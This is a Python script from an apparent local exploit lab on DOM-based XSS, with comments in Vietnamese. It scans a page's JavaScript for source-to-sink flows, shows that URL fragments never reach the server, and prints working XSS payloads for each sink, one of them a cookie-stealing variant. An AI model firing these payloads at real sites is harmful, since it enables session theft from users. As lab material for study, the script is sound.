#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit lab 3.3 - DOM XSS: phan tich luong source -> sink + dung payload.

DOM XSS khong the "grep response" nhu reflected/stored, vi payload nam o location.hash,
khong duoc gui len server va server tra ve trang bat bien. Bang chung gom hai phan:
  (a) PHAN TICH LUONG: tai trang, chi ra source (location.hash) chay thang toi sink
      (innerHTML) ma khong qua ham lam sach nao.
  (b) Chung minh server khong he thay payload (fragment sau '#' khong roi khoi trinh duyet).
Phan THUC THI that su do dom-emulate.js (Node) lo (chay doan JS that cua trang).
"""
import re
import sys
import requests

BASE = "http://127.0.0.1:8034/"

SINKS = ["innerHTML", "outerHTML", "document.write", "eval", "setTimeout", "insertAdjacentHTML"]
SOURCES = ["location.hash", "location.search", "location.href", "document.URL", "document.referrer"]


def main():
    html = requests.get(BASE, timeout=5).text
    script = re.search(r"<script>([\s\S]*?)</script>", html, re.I)
    js = script.group(1) if script else ""

    print("=" * 70)
    print("[a] PHAN TICH LUONG trong JS client")
    found_src = [s for s in SOURCES if s in js]
    found_sink = [s for s in SINKS if s in js]
    print("    source phat hien : " + str(found_src))
    print("    sink  phat hien  : " + str(found_sink))
    # Co ham lam sach khong?
    sanitizers = [w for w in ["DOMPurify", "textContent", "innerText", "encodeURI", "escape("] if w in js]
    print("    ham lam sach     : " + (str(sanitizers) if sanitizers else "KHONG CO"))
    vuln = bool(found_src) and bool(found_sink) and not sanitizers
    print("    => " + ("CO DOM XSS: source di thang toi sink, khong lam sach"
                       if vuln else "khong thay luong nguy hiem"))

    print("=" * 70)
    print("[b] Chung minh server KHONG nhin thay payload (fragment khong duoc gui len)")
    # Gui nguyen URL co fragment; thu voi requests. requests se KHONG gui phan '#...'.
    r = requests.get(BASE + "#<img src=x onerror=alert(1)>", timeout=5)
    sent_path = r.request.path_url
    print("    URL yeu cau     : " + BASE + "#<img src=x onerror=alert(1)>")
    print("    path thuc su gui: " + sent_path + "  (khong he co phan sau #)")
    print("    body server tra ve giong het trang goc? : "
          + ("CO" if r.text == html else "KHONG"))

    print("=" * 70)
    print("[c] Payload theo tung sink")
    print("    innerHTML      : #<img src=x onerror=alert(document.domain)>")
    print("    innerHTML(exfil): #<img src=x onerror=\"exfil(document.cookie)\">")
    print("    document.write : #<script>alert(1)</script>  (write chay ca script tag)")
    print("    eval/sink JS   : #;alert(1);//")

    print("=" * 70)
    print("Phan THUC THI chay bang Node: node dom-emulate.js")
    print("TONG KET phan tich: " + ("DOM XSS kha thi qua innerHTML" if vuln else "khong"))
    return 0 if vuln else 1


if __name__ == "__main__":
    sys.exit(main())
